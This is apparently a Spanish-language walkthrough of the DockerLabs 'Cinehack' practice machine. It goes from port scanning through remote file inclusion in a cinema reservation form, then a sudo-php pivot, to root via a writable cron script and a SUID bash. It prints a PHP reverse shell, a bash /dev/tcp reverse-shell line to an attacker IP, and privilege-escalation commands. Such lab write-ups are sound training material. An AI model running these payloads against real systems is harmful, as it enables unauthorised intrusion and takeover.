Cinehack
DockerLabs es una plataforma gratuita diseñada para practicar hacking ético al alcance de todo el mundo utilizando Docker. DockerLabs ofrece un entorno seguro y accesible para desplegar laboratorios vulnerables de la forma más eficiente y sencilla posible.
Information Gathering
El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.
1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/cinehack:-$ ping -c 1 127.17.0.2
PING 127.17.0.2 (127.17.0.2) 56(84) bytes of data.
64 bytes from 127.17.0.2: icmp_seq=1 ttl=64 time=0.044 ms
--- 127.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.044/0.044/0.044/0.000 ms
Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.
1
/home/kali/Documents/dockerlabs/cinehack:-$ sudo nmap -p- --open -sS --min-rate 5000 -vvv 127.17.0.3 -n -Pn -oG nmap1
Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.
1
/home/kali/Documents/dockerlabs/cinehack:-$ sudo nmap -sCV -p80 -vvv 127.17.0.2 -oN nmap2
1
2
/home/kali/Documents/dockerlabs/cinehack:-$ whatweb 127.17.0.2
http://127.17.0.2 [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[127.17.0.2], Title[Bienvenido a Cinema DL]
Web Analysis
El sitio web es estático y tiene un contenido mínimo.
Lo único destacable es el título “Bienvenido a Cinema DL”. La extensión .dl
se utiliza en esta plataforma para nombrar dominios locales propios de DockerLabs. Dado que .dl
es un dominio interno, agregué una entrada en /etc/hosts
para acceder a la web correctamente.
1
/home/kali/Documents/dockerlabs/cinehack:-$ echo '127.17.0.2\tcinema.dl' | sudo tee -a /etc/hosts
Ahora el contenido del sitio cambia, mostrando más información. Aparecen cinco películas disponibles para reservar.
Sin embargo, solo puedo acceder a la película “El tiempo que tenemos”, donde se encuentra un formulario para realizar una reserva seleccionando un asiento.
Los datos del formulario parecen enviarse atraves de reservation.php
, lo que es un punto de interés.
1
2
3
4
/home/kali/Documents/dockerlabs/cinehack:-$ dirb http://cinema.dl/ -X .html,.conf,.txt,.php,.md -w
---- Scanning URL: http://cinema.dl/ ----
+ http://cinema.dl/index.html (CODE:200|SIZE:7502)
+ http://cinema.dl/reservation.php (CODE:200|SIZE:1779)
Foothold
Al interceptar la petición POST del formulario, observo que los datos se envían de la siguiente manera:
1
2
3
POST /reservation.php HTTP/1.1
Host: cinema.dl
name=Juan+P%C3%A9rez&email=juanperez%40example.com&phone=%2B34+600+123+456&problem_url=http%3A%2Ftusitio.com%2Fuploads%2Fwebshell.php
La vulnerabilidad se encuentra en el parámetro problem_url
, el cual parece permitir la carga de archivos remotos. Para explotar esta falla y subir un archivo malicioso, es necesario modificar la solicitud y agregar el parámetro en la URL en lugar del cuerpo.
1
POST /reservation.php?problem_url=http%3a//xx.xx.xx.xx%3axx/shell.php` HTTP/1.1
Utilicé el siguiente script como web shell:
1
2
3
4
<?php
$sock=fsockopen("192.168.0.171",4321);
$proc=proc_open("sh", array(0=>$sock, 1 => $sock, 2 => $sock), $pipes);
?>
Levanté un servidor HTTP para alojar la shell.
1
/home/kali/Documents/dockerlabs/cinehack:-$ python3 -m http.server
Y envié la solicitud para cargar la shell en el sistema objetivo.
1
POST /reservation.php?problem_url=http%3a//192.168.0.171%3a8000/shell.php HTTP/1.1
Para encontrar la ubicación del archivo subido, realicé un escaneo exhaustivo de la máquina sin éxito. Solo logré identificar la ruta correcta tras generar una lista de nombres basada en los actores de las películas en cartelera.
1
/home/kali/Documents/dockerlabs/cinehack:-$ echo 'cateblanchett\nblanchettcate\ncate\nblanchett\nkevinhart\nhartkevin\nkevin\nhart\njackblack\nblackjack\njack\nblack\narianagreenblatt\ngreenblattariana\nariana\ngreenblatt\nflorianmounteanu\nmounteanuflorian\nflorian\nmounteanu\njaimeleecurtis\ncurtisjaimelee\njaime\ncurtis\nfedealvarez\nalvarezfede\nfede\nalvarez\nridleyscott\nscottridley\nridley\nscott\nandrewgarfield\ngarfieldandrew\nandrew\ngarfield\nflorencepugh\npughflorence\nflorence\npugh\nanalopez\nlopezana\nana\nlopez\ncarlosmartinez\nmartinezcarlos\ncarlos\nmartinez' > users.txt
1
/home/kali/Documents/dockerlabs/cinehack:-$ wfuzz -u http://cinema.dl/FUZZ/ -w users.txt --hc=404 -c -t 200
A través de este método, descubrí que el archivo fue almacenado en el directorio andrewgarfield. Procedí a ejecutar la shell para obtener acceso al sistema.
1
2
/home/kali/Documents/dockerlabs/cinehack:-$ nc -nvlp 4321
listening on [any] 4321 ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
... connect to [192.168.0.171] from (UNKNOWN) [192.168.0.171] 34910
script /dev/null -c bash
www-data@kali:/var/www/cinema.dl/andrewgarfield$ ^Z
/home/kali/Documents/dockerlabs/cinehack:-$ stty raw -echo;fg
[1] + continued nc -nvlp 4321
reset
Terminal type? xterm
www-data@kali:/var/www/cinema.dl/andrewgarfield$ export TERM=xterm
www-data@kali:/var/www/cinema.dl/andrewgarfield$ export SHELL=bash
www-data@kali:/var/www/cinema.dl/andrewgarfield$ stty rows 42 columns 172
1
2
www-data@kali:/var/www/cinema.dl/andrewgarfield$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Lateral Movement
1
2
3
www-data@kali:/$ cat /etc/passwd | grep bash$
root:x:0:0:root:/root:/bin/bash
boss:x:1001:1001:boss,,,:/home/boss:/bin/bash
www-data
puede ejecutar php
como el usuario boss
sin necesidad de contraseña.
1
2
3
4
5
6
www-data@kali:/$ sudo -l
Matching Defaults entries for www-data on kali:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User www-data may run the following commands on kali:
(boss) NOPASSWD: /bin/php
https://gtfobins.github.io/gtfobins/php/#sudo
Creó un script para obtener una conexión reversa al usuario boss
.
1
2
3
www-data@kali:/$ echo 'bash -i >& /dev/tcp/192.168.0.171/4322 0>&1' > /tmp/shell.sh
www-data@kali:/$ chmod +x /tmp/shell.sh
1
2
/home/kali/Documents/dockerlabs/cinehack:-$ nc -nvlp 4322
listening on [any] 4322 ...
De esta forma, ejecuto el script con php
y obtengo acceso al usuario boss
.
1
2
3
4
5
6
7
www-data@kali:/$ sudo -u boss /bin/php -r "system('bash /tmp/shell.sh');"
... connect to [192.168.0.171] from (UNKNOWN) [192.168.0.171] 48490
boss@kali:/var/www/cinema.dl/andrewgarfield$ id
uid=1001(boss) gid=1001(boss) groups=1001(boss),100(users)
Privilege Escalation
Después de un tiempo, la sesión como boss
se cerró automáticamente. Investigando la causa, encontré un script en /opt/update.sh
que terminaba los procesos de este usuario.
Además, encontré que en /var/spool/cron/crontabs/root.sh
había una tarea cron que ejecutaba periódicamente dos scripts, /opt/update.sh
y /tmp/script.sh
.
El script /tmp/script.sh
se ejecuta con privilegios de root
y no existe en el sistema, lo que me permite crearlo con contenido malicioso. Para aprovechar esto, lo configuro para establecer el bit SUID en /bin/bash
, lo que permitirá ejecutar Bash con privilegios elevados.
1
2
www-data@kali:/var/www/cinema.dl/andrewgarfield$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
1
2
www-data@kali:/var/www/cinema.dl/andrewgarfield$ echo 'chmod u+s /bin/bash' > /tmp/script.sh
www-data@kali:/var/www/cinema.dl/andrewgarfield$ chmod u+x /tmp/script.sh
Monitoreo los permisos de /bin/bash
hasta que el bit SUID se activa.
1
2
www-data@kali:/var/www/cinema.dl/andrewgarfield$ watch -d ls -al /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Finalmente, ejecuto Bash en modo privilegiado para obtener acceso como root
.
1
2
3
4
www-data@kali:/var/www/cinema.dl/andrewgarfield$ bash -p
bash-5.2# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)